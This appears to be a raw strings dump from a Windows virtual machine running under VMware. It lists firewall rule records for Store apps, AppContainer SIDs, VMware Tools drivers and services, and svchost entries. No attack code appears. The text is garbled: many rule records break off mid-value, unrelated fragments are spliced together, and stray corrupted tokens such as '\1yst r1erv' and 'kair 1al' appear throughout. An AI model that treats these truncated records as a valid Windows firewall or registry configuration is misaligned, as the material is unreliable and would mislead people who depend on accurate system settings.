Store|PFN=Microsoft.WindowsStore_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Microsoft Store| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=Microsoft Store|Desc=Microsoft Store|PFN=Microsoft.WindowsStore_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Microsoft Store| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Desc=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|PFN=Microsoft.ZuneMusic_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Desc=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|PFN=Microsoft.ZuneMusic_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Security=Authenticate| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Desc=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|PFN=Microsoft.ZuneMusic_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Security=Authenticate| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Desc=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|PFN=Microsoft.ZuneMusic_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}| eAut v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Desc=@{Microsoft.ZuneMusic_11.2509.7. v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=Microsoft Store|Desc=Microsoft Store|PFN=Microsoft.WindowsStore_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Microsoft Store| SoftwareDevice v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=Microsoft Store|Desc=Microsoft Store|PFN=Microsoft.WindowsStore_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Microsoft Store| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=Microsoft Store|Desc=Microsoft Store|PFN=Microsoft.WindowsStore_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Microsoft Store|Security=Authenticate| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=Microsoft Store|Desc=Microsoft Store|PFN=Microsoft.WindowsStore_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-2)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Microsoft Store| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft system32\drivers\wd\WdBoot.sys system32\drivers\wd\WdFilter.sys system32\drivers\wd\WdNisDrv.sys LocalSystem 1.1.25111.3024 {70306dd4-26f5-4e78-af1e-caacf226f683} v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.XboxIdentityProvider_12.130.2510.6003_x64__8wekyb3d8bbwe?ms-resource://Microsoft.XboxIdentityProvider/Resources/DisplayName}|Desc=@{Microsoft.XboxIdentityProvider_12.130.2510.6003_x64__8wekyb3d8bbwe?ms-resource://Microsoft.XboxIdentityProvider/Resources/D, Inc. NotStarted v2.33|AppPkgId=S-1-15-2-1609473798-1231923017-684268153-4268514328-882773646-2760585773-1760938157|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|C=S-1-15-3-2|C=S-1-15-3-3|C=S-1-15-3-1609473798-1231923017-684268153-4268514328-882773646-2760585773-1760938157|M=Microsoft.WindowsStore_8wekyb3d8bbwe|Name=Microsoft Store|Desc=Microsoft Store|D=C:\Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\|PFN=Microsoft.WindowsStore_8wekyb3d8bbwe| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Resources/AppStoreName}|Desc=@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Resources/AppStoreName}|PFN=Microsoft.WindowsTerminal_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Resources/AppStoreName}| v2.33|AppPkgId=S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|M=cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe|Name=Chrome Sandbox|Desc=Profile for Chrome Sandbox| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ScreenSketch/Resources/AppStoreName}|Desc=@{Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ScreenSketch/Resources/AppStoreName}|PFN=Microsoft.ScreenSketch_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ScreenSketch/Resources/AppStoreName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ScreenSketch/Resources/AppStoreName}|Desc=@{Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ScreenSketch/Resources/AppStoreName}|PFN=Microsoft.ScreenSketch_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ScreenSketch/Resources/AppStoreName}| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.Paint_11.2511.291.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Paint/Resources/AppDisplayName}|Desc=@{Microsoft.Paint_11.2511.291.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Paint/Resources/AppDisplayName}|PFN=Microsoft.Paint_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.Paint_11.2511.291.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Paint/Resources/AppDisplayName}| disabled -4071901059-918772286-1001|EmbedCtxt=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}|Desc=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}|PFN=Microsoft.DesktopAppInstaller_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}|Desc=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}|PFN=Microsoft.DesktopAppInstaller_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}| C:\ProgramData C:\WINDOWS VMware Shared Folders \Device\hgfs vmware-host Shared Folders C:\Program Files\VMware\VMware Tools\vmtools.dll source://Microsoft.DesktopAppInstaller/Resources/appDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}|Desc=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}|PFN=Microsoft.DesktopAppInstaller_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}|Platform=2:6:2|Platform2=GTEQ| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Name=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}|Desc=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}|PFN=Microsoft.DesktopAppInstaller_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}|Platform=2:6:2|Platform2=GTEQ| Hyper-V RAW Hyper-V RAW AF_UNIX v2.33|AppPkgId=S-1-15-2-2473817148-3930944034-1235795307-187980641-3967865409-1804095407-1113801530|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|C=S-1-15-3-1|C=S-1-15-3-3|C=S-1-15-3-7|C=S-1-15-3-2473817148-3930944034-1235795307-187980641-3967865409-1804095407-1113801530|M=Microsoft.DesktopAppInstaller_8wekyb3d8bbwe|Name=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}|Desc=@{Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.DesktopAppInstaller/Resources/appDisplayName}|D=C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe\|PFN=Microsoft.DesktopAppInstaller_8wekyb3d8bbwe| @%SystemRoot%\System32\wshqos.dll,-102 @%SystemRoot%\System32\wshqos.dll,-102 @%SystemRoot%\System32\wshqos.dll,-103 @%SystemRoot%\System32\wshqos.dll,-103 MSAFD L2CAP [Bluetooth] MSAFD L2CAP [Bluetooth] MSAFD RfComm [Bluetooth] MSAFD RfComm [Bluetooth] vSockets DGRAM vSockets DGRAM vSockets STREAM Broadcom Inc. efifw.inf C:\Program Files\Common Files\VMware\Drivers\efifw\Win8 msmouse.inf:c67c9e42728cee7a:HID_Mouse_Inst.NT:10.0.26100.1150:HID_DEVICE_SYSTEM_MOUSE HID\VID_0E0F&PID_0003&MI_00 HID\VID_0E0F&PID_0003&MI_00 68764040_14437385883070782_1152921505698620303 vmmouse.cat vmmouse.inf_amd64_29eb80cd741f9968 oem7.inf msmouse.inf keyboard.inf plugged into PS/2 mouse port %vmmouse.mfg% %vmmouse.svcdesc% VMware Pointing Device f:c67c9e424739a3f5:PS2_Inst:10.0.26100.1150:*PNP0F13 msmouse.inf keyboard.inf msmouse.inf keyboard.inf \SystemRoot\system32\DRIVERS\vmmemctl.sys Memory Control Driver Extended Base Driver to provide enhanced memory management of this virtual machine. vmhgfs,RDPNP,P9NP,LanmanWorkstation,webclient vmhgfs,RDPNP,P9NP,LanmanWorkstation,webclient system32\DRIVERS\vmhgfs.sys VMware Host Guest Client Redirector NetworkProvider Implements the VMware HGFS protocol. This protocol provides connectivity to host files provided by the HGFS server. \SystemRoot\system32\DRIVERS\vmrawdsk.sys VMware Physical Disk Helper VMware Physical Disk Helper Video oem8.inf \SystemRoot\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp.sys Video oem8.inf \SystemRoot\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp-debug.sys Video oem8.inf \SystemRoot\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp-stats.sys Video oem8.inf \SystemRoot\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dmp_loader.sys 12-18-2024 VM3D_SVGA2_WIN10_1709 VM3D_SVGA2_WIN10_1709 oem8.inf:fc9f1aa2fe8e5883:VM3D_SVGA2_WIN10_1709:9.17.9.4:PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00 display.inf:10809047d4324726:MSBDA:10.0.26100.1:PCI\CC_0300 PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00 PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00 C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3ddevapi64.dll C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3ddevapi64.dll C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3ddevapi64.dll C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3ddevapi.dll C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3ddevapi.dll C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3ddevapi.dll vm3dum64_loader vm3dum64_loader vm3dum64_loader vm3dum_loader vm3dum_loader vm3dum_loader C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dum64_loader.dll C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dum64_loader.dll C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dum64_loader.dll @oem8.inf,%svga%;VMware SVGA 3D C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dum_loader.dll C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dum_loader.dll C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dum_loader.dll C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dgl64.dll C:\WINDOWS\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dgl.dll {67E8BE58-0EC0-11F1-B1F7-806E6F6E6963} oem8.inf:PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00,VM3D_SVGA2_WIN10_1709 ROOT\BasicDisplay\0000 *PNP09FF {1074b24d-b986-5a01-b420-b3d39c2f9286} MSNILNOEDID_1414_008D_FFFFFFFF_FFFFFFFF_0 MSNILNOEDID_1414_008D_FFFFFFFF_FFFFFFFF_0 MSNILNOEDID_1414_008D_FFFFFFFF_FFFFFFFF_0 "C:\Program Files\VMware\VMware Tools\vm3dservice.exe" VMware SVGA Helper Service LocalSystem Helps VMware SVGA driver by collecting and conveying user mode information. VMware Virtual SVGA 3D Graphics Adapter @System32\drivers\dxgkrnl.sys,#300;Generic Monitor @System32\drivers\dxgkrnl.sys,#300;Generic Monitor @monitor.inf,%nonpnpmonitor.devicedesc%;Generic Non-PnP Monitor MONITOR\Default_Monitor Display.Monitor ModelId\{3E5B5EA9-5755-5BC7-B1BC-FA36711B6C28} HardwareId\MONITOR#Default_Monitor CompatibleId\*PNP09FF InterfaceClass\{E6F07B5F-EE97-4A90-B076-33F57BF4EAA7} InterfaceClass\{866519B5-3F07-4C97-B7DF-24C5D8A8CCB8} InterfaceClass\{10910C20-0C64-4172-9409-ADD3064C0CAD} AllItems Display.Monitor DISPLAY\Default_Monitor\4&427137e&0&UID0 0.312710 0.329020 rpcss "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" VMware Tools LocalSystem Provides support for synchronizing objects between the host and guest operating systems. .NET CLR Data .NET CLR Networking .NET Memory Cache 4.0 MSDTC Bridge 4.0.0.0 SMSvcHost 4.0.0.0 Windows Workflow Foundation 4.0.0.0 C:\WINDOWS\system32\dllhost.exe /Processid:{FBED31FA-7DD9-45EC-BC72-5DE85FA65E12} VMware Snapshot Provider LocalSystem \LocalService VMware Snapshot Provider 3cbe19ad83f4f74828ea0bb0c21cc9af488df5d347c6969fee5ef76501b36415 Under Observation - More Data Needed 063D8660C00C003D003DFFFFFFE00000001FFFF80000000000-1-0-0-1-ER--BR--OR---RBR--0-0-CD13591FAEA4E76BAA0A3A784A3EF25BA7FDFB1D-0--F6C5CF3D61A31867C0391814F61FDC1ED67EEC18 @%SystemRoot%\system32\UserDataAccessRes.dll,-10002 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup UserDataSvc_3f7d0 @%SystemRoot%\system32\UserDataAccessRes.dll,-14000 C:\WINDOWS\system32\svchost.exe -k LocalSystemNetworkRestricted -p webthreatdefusersvc_3f7d0 @%systemroot%\system32\webthreatdefusersvc.dll,-101 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup WpnUserService_3f7d0 @%SystemRoot%\system32\WpnUserService.dll,-2 EventLog-System @%SystemRoot%\system32\AarSvc.dll,-101 C:\WINDOWS\system32\svchost.exe -k BcastDVRUserService BcastDVRUserService_3f7d0 @%SystemRoot%\system32\BcastDVRUserService.dll,-101 @%SystemRoot%\system32\Microsoft.Bluetooth.UserService.dll,-102 C:\WINDOWS\system32\svchost.exe -k LocalService -p CaptureService_3f7d0 @%SystemRoot%\system32\CaptureService.dll,-101 AarSvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k BthAppGroup -p BluetoothUserService_3f7d0 k771 1__8 Microsoft VMware, Inc. VMW201.00V.24866131.B64.2507211911 VMware, Inc.&1 VMware, Inc.&VMware20,1&VMware, Inc.&VMW201.00V.24866131.B64.2507211911&ff&ff VMware, Inc.&VMware20,1 VMware, Inc. 10.0.26100.1 192.168.27.2 192.168.27.2 255.255.255.0 @%SystemRoot%\system32\Windows.Devices.Picker.dll,-1007 C:\WINDOWS\system32\svchost.exe -k DevicesFlow DevicesFlowUserSvc_3f7d0 @%SystemRoot%\system32\DevicesFlowBroker.dll,-104 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup MessagingService_3f7d0 @%SystemRoot%\system32\MessagingService.dll,-101 VMware, Inc.&&VMware20,1&VMware, Inc.&VMW201.00V.24866131.B64.2507211911&ff&ff VMware, Inc.&&VMware20,1 \_SB.L1M2.L0M3 \1yst r1erv system32\drivers\wd\KslD.sys v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=Game Bar|Desc=Game Bar|PFN=Microsoft.XboxGamingOverlay_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Game Bar|Security=Authenticate| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=Game Bar|Desc=Game Bar|PFN=Microsoft.XboxGamingOverlay_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Game Bar|Security=Authenticate| v2.33|AppPkgId=S-1-15-2-2537927067-2140208811-1083047336-3825492100-1188134376-3459723148-3131426163|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|C=S-1-15-3-1|C=S-1-15-3-3|C=S-1-15-3-2537927067-2140208811-1083047336-3825492100-1188134376-3459723148-3131426163|M=Microsoft.Todos_8wekyb3d8bbwe|Name=@{Microsoft.Todos_0.120.7961.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Todos/Resources/app_name_ms_todo}|Desc=@{Microsoft.Todos_0.120.7961.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Todos/Resources/app_name_ms_todo}|D=C:\Program Files\WindowsApps\Microsoft.Todos_0.120.7961.0_x64__8wekyb3d8bbwe\|PFN=Microsoft.Todos_8wekyb3d8bbwe| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Name=@{Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.SecHealthUI/resources/PackageDisplayName}|Desc=@{Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.SecHealthUI/resources/ProductDescription}|PFN=Microsoft.SecHealthUI_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.SecHealthUI/resources/PackageDisplayName}|Platform=2:6:2|Platform2=GTEQ| v2.33|AppPkgId=S-1-15-2-2743877165-1931364543-2468930561-3765762410-1162139025-1178895811-1086226821|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|C=S-1-15-3-1|C=S-1-15-3-3|C=S-1-15-3-2743877165-1931364543-2468930561-3765762410-1162139025-1178895811-1086226821|M=Microsoft.SecHealthUI_8wekyb3d8bbwe|Name=@{Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.SecHealthUI/resources/PackageDisplayName}|Desc=@{Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.SecHealthUI/resources/ProductDescription}|D=C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe\|PFN=Microsoft.SecHealthUI_8wekyb3d8bbwe| C:\WINDOWS\system32\svchost.exe -k LocalService -p NPSMSvc_3f7d0 @%SystemRoot%\system32\npsm.dll,-101 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup OneSyncSvc_3f7d0 @%SystemRoot%\system32\APHostRes.dll,-10001 C:\WINDOWS\system32\svchost.exe -k P9RdrService -p P9RdrService_3f7d0 @%systemroot%\system32\p9rdrservice.dll,-101 C:\WINDOWS\system32\svchost.exe -k PenService PenService_3f7d0 v2.33|AppPkgId=S-1-15-2-1327587233-2730283621-3908338074-337181141-3891108920-2047653661-4124462636|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|C=S-1-15-3-1|C=S-1-15-3-2|C=S-1-15-3-3|C=S-1-15-3-1327587233-2730283621-3908338074-337181141-3891108920-2047653661-4124462636|M=MSTeams_8wekyb3d8bbwe|Name=Microsoft Teams|Desc=Microsoft Corporation|D=C:\Program Files\WindowsApps\MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe\|PFN=MSTeams_8wekyb3d8bbwe| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/PackageName}|Desc=@{MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/PackageName}|PFN=MicrosoftWindows.CrossDevice_cw5n1h2txyewy|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/PackageName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/PackageName}|Desc=@{MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resource kair 1al v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.MPEG2VideoExtension_1.2.13.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.MPEG2VideoExtension/Resources/AppStoreName}|Desc=@{Microsoft.MPEG2VideoExtension_1.2.13.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.MPEG2VideoExtension/Resources/AppStoreName}|PFN=Microsoft.MPEG2VideoExtension_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.MPEG2VideoExtension_1.2.13.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.MPEG2VideoExtension/Resources/AppStoreName}| 